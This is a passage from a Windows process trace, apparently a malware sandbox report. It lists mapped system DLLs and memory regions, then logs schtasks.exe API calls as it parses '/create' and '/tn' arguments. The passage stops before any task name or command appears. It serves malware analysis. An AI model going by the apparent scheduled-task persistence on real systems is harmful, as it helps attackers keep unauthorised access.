"usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4146 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4147 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4148 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4149 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4150 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 4151 start_va = 0x350000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 4152 start_va = 0x140000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 4153 start_va = 0x250000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 4154 start_va = 0x350000 end_va = 0x4d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000350000" filename = "" Region: id = 4155 start_va = 0x500000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 4156 start_va = 0x510000 end_va = 0x538fff monitored = 0 entry_point = 0x511010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4157 start_va = 0x510000 end_va = 0x538fff monitored = 0 entry_point = 0x511010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4158 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4159 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4160 start_va = 0x510000 end_va = 0x690fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 4161 start_va = 0x6a0000 end_va = 0x1a9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006a0000" filename = "" Region: id = 4162 start_va = 0x4e0000 end_va = 0x4f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 4163 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4164 start_va = 0x240000 end_va = 0x240fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 4165 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4166 start_va = 0x1aa0000 end_va = 0x1d6efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4167 start_va = 0x1d70000 end_va = 0x1decfff monitored = 0 entry_point = 0x1d7cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4168 start_va = 0x1d70000 end_va = 0x1decfff monitored = 0 entry_point = 0x1d7cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4169 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4170 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 4171 start_va = 0x1d70000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d70000" filename = "" Region: id = 4172 start_va = 0x1e60000 end_va = 0x1f3efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e60000" filename = "" Region: id = 4173 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4174 start_va = 0x2130000 end_va = 0x21affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002130000" filename = "" Region: id = 4175 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 4176 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4177 start_va = 0x1d70000 end_va = 0x1d70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d70000" filename = "" Region: id = 4178 start_va = 0x1de0000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001de0000" filename = "" Region: id = 4179 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4180 start_va = 0x1d80000 end_va = 0x1d80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d80000" filename = "" Region: id = 4181 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 4182 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4185 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 200 os_tid = 0x688 [0157.411] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x13fbe0 | out: lpSystemTimeAsFileTime=0x13fbe0*(dwLowDateTime=0x2a396a20, dwHighDateTime=0x1d8a92a)) [0157.411] GetCurrentProcessId () returned 0xb5c [0157.411] GetCurrentThreadId () returned 0x688 [0157.411] GetTickCount () returned 0x138b965 [0157.411] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x13fbe8 | out: lpPerformanceCount=0x13fbe8*=2063627422782) returned 1 [0157.411] GetModuleHandleW (lpModuleName=0x0) returned 0xffbf0000 [0157.411] __set_app_type (_Type=0x1) [0157.411] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffc1972c) returned 0x0 [0157.412] __wgetmainargs (in: _Argc=0xffc31240, _Argv=0xffc31250, _Env=0xffc31248, _DoWildCard=0, _StartInfo=0xffc3125c | out: _Argc=0xffc31240, _Argv=0xffc31250, _Env=0xffc31248) returned 0 [0157.413] _onexit (_Func=0xffc22ab0) returned 0xffc22ab0 [0157.413] _onexit (_Func=0xffc22ac4) returned 0xffc22ac4 [0157.413] _onexit (_Func=0xffc22afc) returned 0xffc22afc [0157.413] _onexit (_Func=0xffc22b58) returned 0xffc22b58 [0157.413] _onexit (_Func=0xffc22b80) returned 0xffc22b80 [0157.413] _onexit (_Func=0xffc22ba8) returned 0xffc22ba8 [0157.413] _onexit (_Func=0xffc22bd0) returned 0xffc22bd0 [0157.413] _onexit (_Func=0xffc22bf8) returned 0xffc22bf8 [0157.414] _onexit (_Func=0xffc22c20) returned 0xffc22c20 [0157.414] _onexit (_Func=0xffc22c48) returned 0xffc22c48 [0157.414] _onexit (_Func=0xffc22c70) returned 0xffc22c70 [0157.414] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0157.414] WinSqmIsOptedIn () returned 0x0 [0157.414] GetProcessHeap () returned 0x250000 [0157.414] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26b9d0 [0157.415] SetLastError (dwErrCode=0x0) [0157.415] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0157.415] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0157.415] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0157.415] VerifyVersionInfoW (in: lpVersionInformation=0x13f3a0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x13f3a0) returned 1 [0157.415] GetProcessHeap () returned 0x250000 [0157.415] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26b9f0 [0157.415] lstrlenW (lpString="") returned 0 [0157.415] GetProcessHeap () returned 0x250000 [0157.415] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x2) returned 0x26ba10 [0157.415] GetProcessHeap () returned 0x250000 [0157.415] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265960 [0157.415] GetProcessHeap () returned 0x250000 [0157.415] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26ba30 [0157.415] GetProcessHeap () returned 0x250000 [0157.415] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265990 [0157.415] GetProcessHeap () returned 0x250000 [0157.415] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x2659c0 [0157.415] GetProcessHeap () returned 0x250000 [0157.415] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x2659f0 [0157.415] GetProcessHeap () returned 0x250000 [0157.415] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265a20 [0157.415] GetProcessHeap () returned 0x250000 [0157.415] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26ba50 [0157.416] GetProcessHeap () returned 0x250000 [0157.416] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265a50 [0157.416] GetProcessHeap () returned 0x250000 [0157.416] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265a80 [0157.416] GetProcessHeap () returned 0x250000 [0157.416] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265ab0 [0157.416] GetProcessHeap () returned 0x250000 [0157.416] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265ae0 [0157.416] GetProcessHeap () returned 0x250000 [0157.416] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26ba70 [0157.416] GetProcessHeap () returned 0x250000 [0157.416] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265b10 [0157.416] GetProcessHeap () returned 0x250000 [0157.416] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265b40 [0157.416] GetProcessHeap () returned 0x250000 [0157.416] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265b70 [0157.416] GetProcessHeap () returned 0x250000 [0157.416] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265ba0 [0157.416] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0157.416] SetLastError (dwErrCode=0x0) [0157.416] GetProcessHeap () returned 0x250000 [0157.416] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265bd0 [0157.416] GetProcessHeap () returned 0x250000 [0157.416] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265c00 [0157.416] GetProcessHeap () returned 0x250000 [0157.416] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265c30 [0157.416] GetProcessHeap () returned 0x250000 [0157.416] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265c60 [0157.416] GetProcessHeap () returned 0x250000 [0157.416] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265c90 [0157.416] GetProcessHeap () returned 0x250000 [0157.417] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26ba90 [0157.417] _memicmp (_Buf1=0x26ba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.417] GetProcessHeap () returned 0x250000 [0157.417] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x208) returned 0x26bc30 [0157.417] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x26bc30, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0157.417] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0157.418] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0157.418] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0157.419] GetProcessHeap () returned 0x250000 [0157.419] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x74e) returned 0x26c1e0 [0157.419] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0157.419] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x26c1e0 | out: lpData=0x26c1e0) returned 1 [0157.420] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0157.420] VerQueryValueW (in: pBlock=0x26c1e0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x13f488, puLen=0x13f4f0 | out: lplpBuffer=0x13f488*=0x26c57c, puLen=0x13f4f0) returned 1 [0157.426] _memicmp (_Buf1=0x26ba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.427] _vsnwprintf (in: _Buffer=0x26bc30, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x13f468 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0157.428] VerQueryValueW (in: pBlock=0x26c1e0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x13f4f8, puLen=0x13f4e8 | out: lplpBuffer=0x13f4f8*=0x26c3a8, puLen=0x13f4e8) returned 1 [0157.428] lstrlenW (lpString="schtasks.exe") returned 12 [0157.428] lstrlenW (lpString="schtasks.exe") returned 12 [0157.428] lstrlenW (lpString=".EXE") returned 4 [0157.428] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0157.429] lstrlenW (lpString="schtasks.exe") returned 12 [0157.429] lstrlenW (lpString=".EXE") returned 4 [0157.429] _memicmp (_Buf1=0x26ba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.429] lstrlenW (lpString="schtasks") returned 8 [0157.429] GetProcessHeap () returned 0x250000 [0157.429] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265d80 [0157.429] GetProcessHeap () returned 0x250000 [0157.429] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26caf0 [0157.430] GetProcessHeap () returned 0x250000 [0157.430] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cb20 [0157.430] GetProcessHeap () returned 0x250000 [0157.430] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cb50 [0157.430] GetProcessHeap () returned 0x250000 [0157.430] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26bab0 [0157.430] _memicmp (_Buf1=0x26bab0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.430] GetProcessHeap () returned 0x250000 [0157.430] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xa0) returned 0x26c030 [0157.430] GetProcessHeap () returned 0x250000 [0157.430] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cb80 [0157.430] GetProcessHeap () returned 0x250000 [0157.430] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cbb0 [0157.430] GetProcessHeap () returned 0x250000 [0157.430] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cbe0 [0157.430] GetProcessHeap () returned 0x250000 [0157.430] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26bad0 [0157.430] _memicmp (_Buf1=0x26bad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.430] GetProcessHeap () returned 0x250000 [0157.430] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x200) returned 0x26d2c0 [0157.430] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0157.431] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0157.431] GetProcessHeap () returned 0x250000 [0157.431] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x30) returned 0x267a80 [0157.431] _vsnwprintf (in: _Buffer=0x26c030, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x13f468 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0157.431] GetProcessHeap () returned 0x250000 [0157.431] GetProcessHeap () returned 0x250000 [0157.431] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c1e0) returned 1 [0157.431] GetProcessHeap () returned 0x250000 [0157.431] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c1e0) returned 0x74e [0157.431] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c1e0 | out: hHeap=0x250000) returned 1 [0157.431] SetLastError (dwErrCode=0x0) [0157.432] GetThreadLocale () returned 0x409 [0157.432] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.432] lstrlenW (lpString="?") returned 1 [0157.432] GetThreadLocale () returned 0x409 [0157.432] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.432] lstrlenW (lpString="create") returned 6 [0157.432] GetThreadLocale () returned 0x409 [0157.432] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.432] lstrlenW (lpString="delete") returned 6 [0157.432] GetThreadLocale () returned 0x409 [0157.432] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.432] lstrlenW (lpString="query") returned 5 [0157.432] GetThreadLocale () returned 0x409 [0157.432] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.432] lstrlenW (lpString="change") returned 6 [0157.432] GetThreadLocale () returned 0x409 [0157.432] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.432] lstrlenW (lpString="run") returned 3 [0157.432] GetThreadLocale () returned 0x409 [0157.432] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.432] lstrlenW (lpString="end") returned 3 [0157.432] GetThreadLocale () returned 0x409 [0157.432] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.432] lstrlenW (lpString="showsid") returned 7 [0157.432] GetThreadLocale () returned 0x409 [0157.433] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.433] SetLastError (dwErrCode=0x0) [0157.433] SetLastError (dwErrCode=0x0) [0157.433] lstrlenW (lpString="/create") returned 7 [0157.433] lstrlenW (lpString="-/") returned 2 [0157.433] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0157.433] lstrlenW (lpString="?") returned 1 [0157.433] lstrlenW (lpString="?") returned 1 [0157.433] GetProcessHeap () returned 0x250000 [0157.433] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26c1e0 [0157.433] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.433] GetProcessHeap () returned 0x250000 [0157.433] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xa) returned 0x26c200 [0157.433] lstrlenW (lpString="create") returned 6 [0157.433] GetProcessHeap () returned 0x250000 [0157.433] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26c220 [0157.433] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.433] GetProcessHeap () returned 0x250000 [0157.433] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x14) returned 0x26c240 [0157.433] _vsnwprintf (in: _Buffer=0x26c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|?|") returned 3 [0157.433] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|create|") returned 8 [0157.433] lstrlenW (lpString="|?|") returned 3 [0157.433] lstrlenW (lpString="|create|") returned 8 [0157.433] SetLastError (dwErrCode=0x490) [0157.433] lstrlenW (lpString="create") returned 6 [0157.433] lstrlenW (lpString="create") returned 6 [0157.433] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.433] GetProcessHeap () returned 0x250000 [0157.433] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c200) returned 1 [0157.433] GetProcessHeap () returned 0x250000 [0157.433] RtlReAllocateHeap (Heap=0x250000, Flags=0xc, Ptr=0x26c200, Size=0x14) returned 0x26c260 [0157.434] lstrlenW (lpString="create") returned 6 [0157.434] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.434] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|create|") returned 8 [0157.434] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|create|") returned 8 [0157.434] lstrlenW (lpString="|create|") returned 8 [0157.434] lstrlenW (lpString="|create|") returned 8 [0157.434] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0157.434] SetLastError (dwErrCode=0x0) [0157.434] SetLastError (dwErrCode=0x0) [0157.434] SetLastError (dwErrCode=0x0) [0157.434] lstrlenW (lpString="/tn") returned 3 [0157.434] lstrlenW (lpString="-/") returned 2 [0157.434] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0157.434] lstrlenW (lpString="?") returned 1 [0157.434] lstrlenW (lpString="?") returned 1 [0157.434] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.434] lstrlenW (lpString="tn") returned 2 [0157.434] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.434] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|?|") returned 3 [0157.434] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|tn|") returned 4 [0157.434] lstrlenW (lpString="|?|") returned 3 [0157.434] lstrlenW (lpString="|tn|") returned 4 [0157.434] SetLastError (dwErrCode=0x490) [0157.434] lstrlenW (lpString="create") returned 6 [0157.434] lstrlenW (lpString="create") returned 6 [0157.434] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.434] lstrlenW (lpString="tn") returned 2 [0157.434] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.434] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|create|") returned 8 [0157.434] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|tn|") returned 4 [0157.434] lstrlenW (lpString="|create|") returned 8 [0157.434] lstrlenW (lpString="|tn|") returned 4 [0157.434] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0157.435] SetLastError (dwErrCode=0x490) [0157.435] lstrlenW (lpString="delete") returned 6 [0157.435] lstrlenW (lpString="delete") returned 6 [0157.435] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.435] lstrlenW (lpString="tn") returned 2 [0157.435] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.435] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|delete|") returned 8 [0157.435] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|tn|") returned 4 [0157.435] lstrlenW (lpString="|delete|") returned 8 [0157.435] lstrlenW (lpString="|tn|") returned 4 [0157.435] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0157.435] SetLastError (dwErrCode=0x490) [0157.435] lstrlenW (lpString="query") returned 5 [0157.435] lstrlenW (lpString="query") returned 5 [0157.435] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.435] lstrlenW (lpString="tn") returned 2 [0157.435] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.435] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|query|") returned 7 [0157.435] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|tn|") returned 4 [0157.435] lstrlenW (lpString="|query|") returned 7 [0157.435] lstrlenW (lpString="|tn|") returned 4 [0157.435] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0157.435] SetLastError (dwErrCode=0x490) [0157.435] lstrlenW (lpString="change") returned 6 [0157.435] lstrlenW (lpString="change") returned 6 [0157.435] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.435] lstrlenW (lpString="tn") returned 2 [0157.435] _memicmp (_Buf1=0x26c220, 